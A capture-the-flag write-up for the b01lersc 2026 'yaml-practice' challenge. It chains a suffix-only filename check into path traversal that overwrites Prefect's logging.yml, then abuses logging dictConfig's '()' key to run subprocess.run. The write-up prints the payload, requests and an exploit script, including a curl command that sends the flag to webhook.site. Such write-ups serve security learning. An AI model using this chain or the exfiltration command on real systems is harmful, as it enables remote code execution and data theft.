$ cat writeup.md…
$ cat writeup.md…
b01lersc 2026
Task: a Starlette YAML validator backed by Prefect accepted uploaded .yml files and only checked the filename suffix. Solution: use path traversal to overwrite Prefect's packaged logging.yml, then trigger dictConfig-based command execution during /validate and exfiltrate the flag.
yaml-practice is a small Starlette application that uploads YAML files and validates them through a Prefect flow. The bug is not in YAML parsing itself, but in how the upload endpoint handles filenames: it only checks that the suffix is .yml, then writes the file to UPLOAD_DIR / safe_name without normalizing traversal sequences.
That gives an arbitrary file overwrite primitive. The winning target is Prefect's packaged logging configuration at ../.venv/lib/python3.14/site-packages/prefect/logging/logging.yml. After replacing that file with a malicious logging config, a call to /validate causes Prefect to load it with yaml.safe_load(...) and pass it into logging.config.dictConfig(...), which can instantiate attacker-controlled callables.
An earlier knowledge-base writeup, Resourcehub Core, suggested looking for arbitrary file overwrite through upload handling, but this challenge is a different exploit chain: Python + Prefect + logging configuration abuse rather than Node/route overwrite.
The important application logic is short:
def check_filename(filename: str) -> str: if Path(filename).suffix.lower() != ALLOWED_EXTENSION: raise ValueError("Only .yml files are allowed.") return filename async def upload_yaml(request: Request) -> JSONResponse: ... safe_name = check_filename(filename) ... file_path = UPLOAD_DIR / safe_name file_path.write_text(decoded_contents) async def validate_yaml(request: Request) -> JSONResponse: ... result = validate_yaml_flow(file_path)
The critical detail is that check_filename() validates only the suffix:
Path(filename).suffix.lower() == ".yml"resolve().. rejectionSo a filename like:
../.venv/lib/python3.14/site-packages/prefect/logging/logging.yml
passes validation because its suffix is still .yml, and the server writes outside uploads/.
The /validate route later calls validate_yaml_flow(file_path). That enters Prefect internals, and Prefect loads its logging configuration from prefect/logging/logging.yml. That file is parsed with yaml.safe_load and then fed to logging.config.dictConfig.
This is an exploit chain built from two behaviors:
Arbitrary file overwrite via upload traversal
The upload code accepts traversal in the submitted filename and writes to UPLOAD_DIR / safe_name directly.
Code execution via malicious logging configuration
Python logging's dictConfig supports the special "()" key, which resolves and instantiates a callable. If we can replace Prefect's logging.yml, we can make logging initialization execute subprocess.run.
The essential payload was:
{version: 1, formatters: {x: {"()": subprocess.run, args: [sh, -c, "/readflag give me the flag|curl -s -d @- https://webhook.site/<TOKEN>"]}}}
and it was uploaded under the traversal filename:
../.venv/lib/python3.14/site-packages/prefect/logging/logging.yml
logging.ymlWe uploaded the malicious YAML above using the traversal filename. The endpoint accepted it because the suffix check still saw .yml.
Next, we uploaded a benign file such as u.yml with content a: 1. This is the file referenced by the later validation request.
/validateWe sent:
POST /validate Content-Type: application/json {"filename":"u.yml"}
During flow startup/logging initialization, Prefect loaded the overwritten logging.yml, deserialized it, and executed logging.config.dictConfig(...). That caused the "()": subprocess.run entry to run our shell command.
The command used:
/readflag give me the flag|curl -s -d @- https://webhook.site/<TOKEN>
Even if /validate hung or returned HTTP 500, the payload had already executed. Local testing first returned the fake development flag bctf{fake_flag}; the live instance returned the real flag.
A minimal exploit flow is therefore:
traversal = "../.venv/lib/python3.14/site-packages/prefect/logging/logging.yml" payload = '{version: 1, formatters: {x: {"()": subprocess.run, args: [sh, -c, "/readflag give me the flag|curl -s -d @- https://webhook.site/<TOKEN>"]}}}' upload(traversal, payload) upload("u.yml", "a: 1") post_validate({"filename": "u.yml"})
bctf{REDACTED}
Path(filename).name or a server-generated filename.dictConfig features for untrusted configuration, especially "()" callables.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar